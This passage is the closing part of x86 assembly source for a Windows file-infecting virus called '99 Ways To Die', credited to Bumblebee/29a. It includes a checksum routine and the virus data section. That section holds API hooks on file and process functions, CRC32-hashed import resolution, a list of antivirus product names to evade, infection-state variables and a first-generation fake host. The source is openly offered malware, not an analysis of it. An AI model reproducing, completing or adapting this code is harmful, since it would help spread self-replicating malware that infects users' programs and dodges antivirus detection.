add esi, 00000008h
|
|||
|
|
sub ecx, 00000008h
|
|||
|
|
je func0_saltito2
|
|||
|
|
|
|||
|
|
func0_saltito3:
|
|||
|
|
test ecx, 00000010h
|
|||
|
|
je func0_saltito4
|
|||
|
|
add eax, dword ptr [esi]
|
|||
|
|
adc eax, dword ptr [esi+04h]
|
|||
|
|
adc eax, dword ptr [esi+08h]
|
|||
|
|
adc eax, dword ptr [esi+0Ch]
|
|||
|
|
adc eax, 00000000h
|
|||
|
|
add esi, 00000010h
|
|||
|
|
sub ecx, 00000010h
|
|||
|
|
je func0_saltito2
|
|||
|
|
|
|||
|
|
func0_saltito4:
|
|||
|
|
test ecx, 00000020h
|
|||
|
|
je func0_saltito5
|
|||
|
|
add eax, dword ptr [esi]
|
|||
|
|
|
|||
|
|
adc eax, dword ptr [esi+04h]
|
|||
|
|
adc eax, dword ptr [esi+08h]
|
|||
|
|
adc eax, dword ptr [esi+0Ch]
|
|||
|
|
adc eax, dword ptr [esi+10h]
|
|||
|
|
adc eax, dword ptr [esi+14h]
|
|||
|
|
adc eax, dword ptr [esi+18h]
|
|||
|
|
adc eax, dword ptr [esi+1Ch]
|
|||
|
|
adc eax, 00000000h
|
|||
|
|
add esi, 00000020h
|
|||
|
|
sub ecx, 00000020h
|
|||
|
|
je func0_saltito2
|
|||
|
|
|
|||
|
|
func0_saltito5:
|
|||
|
|
test ecx, 00000040h
|
|||
|
|
je func0_saltito6
|
|||
|
|
add eax, dword ptr [esi]
|
|||
|
|
|
|||
|
|
adc eax, dword ptr [esi+04h]
|
|||
|
|
adc eax, dword ptr [esi+08h]
|
|||
|
|
adc eax, dword ptr [esi+0Ch]
|
|||
|
|
adc eax, dword ptr [esi+10h]
|
|||
|
|
adc eax, dword ptr [esi+14h]
|
|||
|
|
adc eax, dword ptr [esi+18h]
|
|||
|
|
adc eax, dword ptr [esi+1Ch]
|
|||
|
|
adc eax, dword ptr [esi+20h]
|
|||
|
|
adc eax, dword ptr [esi+24h]
|
|||
|
|
adc eax, dword ptr [esi+28h]
|
|||
|
|
adc eax, dword ptr [esi+2Ch]
|
|||
|
|
adc eax, dword ptr [esi+30h]
|
|||
|
|
adc eax, dword ptr [esi+34h]
|
|||
|
|
adc eax, dword ptr [esi+38h]
|
|||
|
|
adc eax, dword ptr [esi+3Ch]
|
|||
|
|
adc eax, 00000000h
|
|||
|
|
add esi, 00000040h
|
|||
|
|
sub ecx, 00000040h
|
|||
|
|
je func0_saltito2
|
|||
|
|
|
|||
|
|
func0_saltito6:
|
|||
|
|
add eax, dword ptr [esi]
|
|||
|
|
|
|||
|
|
adc eax, dword ptr [esi+04h]
|
|||
|
|
adc eax, dword ptr [esi+08h]
|
|||
|
|
adc eax, dword ptr [esi+0Ch]
|
|||
|
|
adc eax, dword ptr [esi+10h]
|
|||
|
|
adc eax, dword ptr [esi+14h]
|
|||
|
|
adc eax, dword ptr [esi+18h]
|
|||
|
|
adc eax, dword ptr [esi+1Ch]
|
|||
|
|
adc eax, dword ptr [esi+20h]
|
|||
|
|
adc eax, dword ptr [esi+24h]
|
|||
|
|
adc eax, dword ptr [esi+28h]
|
|||
|
|
adc eax, dword ptr [esi+2Ch]
|
|||
|
|
adc eax, dword ptr [esi+30h]
|
|||
|
|
adc eax, dword ptr [esi+34h]
|
|||
|
|
adc eax, dword ptr [esi+38h]
|
|||
|
|
adc eax, dword ptr [esi+3Ch]
|
|||
|
|
adc eax, dword ptr [esi+40h]
|
|||
|
|
adc eax, dword ptr [esi+44h]
|
|||
|
|
adc eax, dword ptr [esi+48h]
|
|||
|
|
adc eax, dword ptr [esi+4Ch]
|
|||
|
|
adc eax, dword ptr [esi+50h]
|
|||
|
|
adc eax, dword ptr [esi+54h]
|
|||
|
|
adc eax, dword ptr [esi+58h]
|
|||
|
|
adc eax, dword ptr [esi+5Ch]
|
|||
|
|
adc eax, dword ptr [esi+60h]
|
|||
|
|
adc eax, dword ptr [esi+64h]
|
|||
|
|
adc eax, dword ptr [esi+68h]
|
|||
|
|
adc eax, dword ptr [esi+6Ch]
|
|||
|
|
adc eax, dword ptr [esi+70h]
|
|||
|
|
adc eax, dword ptr [esi+74h]
|
|||
|
|
adc eax, dword ptr [esi+78h]
|
|||
|
|
adc eax, dword ptr [esi+7Ch]
|
|||
|
|
adc eax, 00000000h
|
|||
|
|
add esi, 00000080h
|
|||
|
|
sub ecx, 00000080h
|
|||
|
|
jne func0_saltito6
|
|||
|
|
|
|||
|
|
func0_saltito2:
|
|||
|
|
test edx, edx
|
|||
|
|
je func0_saltito0
|
|||
|
|
|
|||
|
|
func0_saltito7:
|
|||
|
|
sub ecx, ecx
|
|||
|
|
mov cx, word ptr [esi]
|
|||
|
|
add eax, ecx
|
|||
|
|
adc eax, 00000000h
|
|||
|
|
add esi, 00000002h
|
|||
|
|
sub edx, 00000002h
|
|||
|
|
jne func0_saltito7
|
|||
|
|
|
|||
|
|
func0_saltito0:
|
|||
|
|
mov edx, eax
|
|||
|
|
shr edx, 10h
|
|||
|
|
and eax, 0000FFFFh
|
|||
|
|
add eax, edx
|
|||
|
|
mov edx, eax
|
|||
|
|
shr edx, 10h
|
|||
|
|
add eax, edx
|
|||
|
|
and eax, 0000FFFFh
|
|||
|
|
pop esi
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
; Virus data ---------------------------------------------------------------
|
|||
|
|
;
|
|||
|
|
HOOKTABLEBEGIN label byte
|
|||
|
|
dd offset _CreateFileA
|
|||
|
|
dd offset Hook0
|
|||
|
|
dd offset _MoveFileA
|
|||
|
|
dd offset Hook1
|
|||
|
|
dd offset _CopyFileA
|
|||
|
|
dd offset Hook2
|
|||
|
|
dd offset _CreateProcessA
|
|||
|
|
dd offset Hook3
|
|||
|
|
dd offset _SetFileAttributesA
|
|||
|
|
dd offset Hook4
|
|||
|
|
dd offset _GetFileAttributesA
|
|||
|
|
dd offset Hook5
|
|||
|
|
dd offset _SearchPathA
|
|||
|
|
dd offset Hook6
|
|||
|
|
dd offset _SetCurrentDirectoryA
|
|||
|
|
dd offset Hook7
|
|||
|
|
HOOKTABLEEND label byte
|
|||
|
|
|
|||
|
|
FSTAPI label byte
|
|||
|
|
CrcCreateFileA dd 08c892ddfh
|
|||
|
|
db 12
|
|||
|
|
_CreateFileA dd 0
|
|||
|
|
|
|||
|
|
CrcMapViewOfFile dd 0797b49ech
|
|||
|
|
db 14
|
|||
|
|
_MapViewOfFile dd 0
|
|||
|
|
|
|||
|
|
CrcCreatFileMappingA dd 096b2d96ch
|
|||
|
|
db 19
|
|||
|
|
_CreateFileMappingA dd 0
|
|||
|
|
|
|||
|
|
CrcUnmapViewOfFile dd 094524b42h
|
|||
|
|
db 16
|
|||
|
|
_UnmapViewOfFile dd 0
|
|||
|
|
|
|||
|
|
CrcCloseHandle dd 068624a9dh
|
|||
|
|
db 12
|
|||
|
|
_CloseHandle dd 0
|
|||
|
|
|
|||
|
|
CrcFindFirstFileA dd 0ae17ebefh
|
|||
|
|
db 15
|
|||
|
|
_FindFirstFileA dd 0
|
|||
|
|
|
|||
|
|
CrcFindNextFileA dd 0aa700106h
|
|||
|
|
db 14
|
|||
|
|
_FindNextFileA dd 0
|
|||
|
|
|
|||
|
|
CrcFindClose dd 0c200be21h
|
|||
|
|
db 10
|
|||
|
|
_FindClose dd 0
|
|||
|
|
|
|||
|
|
CrcVirtualAlloc dd 04402890eh
|
|||
|
|
db 13
|
|||
|
|
_VirtualAlloc dd 0
|
|||
|
|
|
|||
|
|
CrcGetTickCount dd 0613fd7bah
|
|||
|
|
db 13
|
|||
|
|
_GetTickCount dd 0
|
|||
|
|
|
|||
|
|
CrcGetFileTime dd 04434e8feh
|
|||
|
|
db 12
|
|||
|
|
_GetFileTime dd 0
|
|||
|
|
|
|||
|
|
CrcSetFileTime dd 04b2a3e7dh
|
|||
|
|
db 12
|
|||
|
|
_SetFileTime dd 0
|
|||
|
|
|
|||
|
|
CrcSetFileAttributesA dd 03c19e536h
|
|||
|
|
db 19
|
|||
|
|
_SetFileAttributesA dd 0
|
|||
|
|
|
|||
|
|
CrcGetFileAttributesA dd 0c633d3deh
|
|||
|
|
db 19
|
|||
|
|
_GetFileAttributesA dd 0
|
|||
|
|
|
|||
|
|
CrcGetFileSize dd 0ef7d811bh
|
|||
|
|
db 12
|
|||
|
|
_GetFileSize dd 0
|
|||
|
|
|
|||
|
|
CrcGetSystemTime dd 075b7ebe8h
|
|||
|
|
db 14
|
|||
|
|
_GetSystemTime dd 0
|
|||
|
|
|
|||
|
|
CrcMoveFileA dd 02308923fh
|
|||
|
|
db 10
|
|||
|
|
_MoveFileA dd 0
|
|||
|
|
|
|||
|
|
CrcCopyFileA dd 05bd05db1h
|
|||
|
|
db 10
|
|||
|
|
_CopyFileA dd 0
|
|||
|
|
|
|||
|
|
CrcCreateProcessA dd 0267e0b05h
|
|||
|
|
db 15
|
|||
|
|
_CreateProcessA dd 0
|
|||
|
|
|
|||
|
|
CrcSearchPathA dd 0f4d9d033h
|
|||
|
|
db 12
|
|||
|
|
_SearchPathA dd 0
|
|||
|
|
|
|||
|
|
CrcGetCurrentDirectoryA dd 0ebc6c18bh
|
|||
|
|
db 21
|
|||
|
|
_GetCurrentDirectoryA dd 0
|
|||
|
|
|
|||
|
|
CrcSetCurrentDirectoryA dd 0b2dbd7dch
|
|||
|
|
db 21
|
|||
|
|
_SetCurrentDirectoryA dd 0
|
|||
|
|
|
|||
|
|
CrcGetWindowsDirectoryA dd 0fe248274h
|
|||
|
|
db 21
|
|||
|
|
_GetWindowsDirectoryA dd 0
|
|||
|
|
ENDAPI label byte
|
|||
|
|
; AV: AVP, PAV, NAV, ...
|
|||
|
|
; AN: SCAN, VISUSSCAN, ...
|
|||
|
|
; DR: DRWEB
|
|||
|
|
; ID: SPIDER
|
|||
|
|
; OD: NOD-ICE
|
|||
|
|
; TB: THUNDERBYTE... (this still exists?)
|
|||
|
|
; F-: F-PROT, ...
|
|||
|
|
avStrings dw 'VA','NA','RD','DI','DO','BT','-F'
|
|||
|
|
vStringsCout equ (offset $-offset avStrings)/2
|
|||
|
|
fndMask db '*.*',0
|
|||
|
|
|
|||
|
|
copyright db '< 99 Ways To Die Coded by Bumblebee/29a >'
|
|||
|
|
|
|||
|
|
; Following value cannot be included in self check CRC32...
|
|||
|
|
myCRC32 dd 0
|
|||
|
|
vEnd label byte
|
|||
|
|
;
|
|||
|
|
; virus ENDS HERE
|
|||
|
|
;
|
|||
|
|
crypt:
|
|||
|
|
;
|
|||
|
|
; Temp data. Not stored into the file, only 1st generation.
|
|||
|
|
;
|
|||
|
|
BUFFERBEGIN label byte
|
|||
|
|
stringBuffer: ret
|
|||
|
|
db STRINGTOP-1 dup(0)
|
|||
|
|
tmpPath db STRINGTOP dup(0)
|
|||
|
|
currentPath db STRINGTOP dup(0)
|
|||
|
|
address dd 0
|
|||
|
|
names dd 0
|
|||
|
|
ordinals dd 0
|
|||
|
|
nexports dd 0
|
|||
|
|
expcount dd 0
|
|||
|
|
memHnd dd 0
|
|||
|
|
|
|||
|
|
fHnd dd 0
|
|||
|
|
fhmap dd 0
|
|||
|
|
mapMem dd 0
|
|||
|
|
infCount db 0
|
|||
|
|
|
|||
|
|
fileSize dd 0
|
|||
|
|
fileAttrib dd 0
|
|||
|
|
fileTime0 dd 0,0
|
|||
|
|
fileTime1 dd 0,0
|
|||
|
|
fileTime2 dd 0,0
|
|||
|
|
pad dd 0
|
|||
|
|
fNameAddr dd 0
|
|||
|
|
gensize dd 0
|
|||
|
|
myRVA dd 0
|
|||
|
|
fstSec dd 0
|
|||
|
|
find_data WIN32_FIND_DATA <0>
|
|||
|
|
findHnd dd 0
|
|||
|
|
semHook db 0
|
|||
|
|
EPORva dd 0
|
|||
|
|
EPOAddr dd 0
|
|||
|
|
dateTime db 16 dup(0)
|
|||
|
|
payload db 0
|
|||
|
|
pchcks dw 0
|
|||
|
|
BUFFEREND label byte
|
|||
|
|
BUFFERSIZE equ BUFFEREND-BUFFERBEGIN
|
|||
|
|
|
|||
|
|
;
|
|||
|
|
; Fake host for 1st generation
|
|||
|
|
;
|
|||
|
|
fakeHost:
|
|||
|
|
push 1000h
|
|||
|
|
title: @strz "(C) 2000 Bumblebee/29a"
|
|||
|
|
mess: @strz "99 Ways To Die activated. Have a nice day."
|
|||
|
|
push 0h
|
|||
|
|
call MessageBoxA
|
|||
|
|
|
|||
|
|
push 0h
|
|||
|
|
call ExitProcess
|
|||
|
|
|
|||
|
|
Ends
|
|||
|
|
End inicio
|
|||
|
|
;
|
|||
|
|
; hi sweet!
|
|||
|
|
;
|
|||
|
|
; ' the preacher said, richer or poorer
|
|||
|
|
; my mama said, thick or thin
|
|||
|
|
; you can kiss me, baby
|
|||
|
|
; when it's time to get thick again '
|
|||
|
|
;
|
|||
|
|
;
|
|||
|
|
|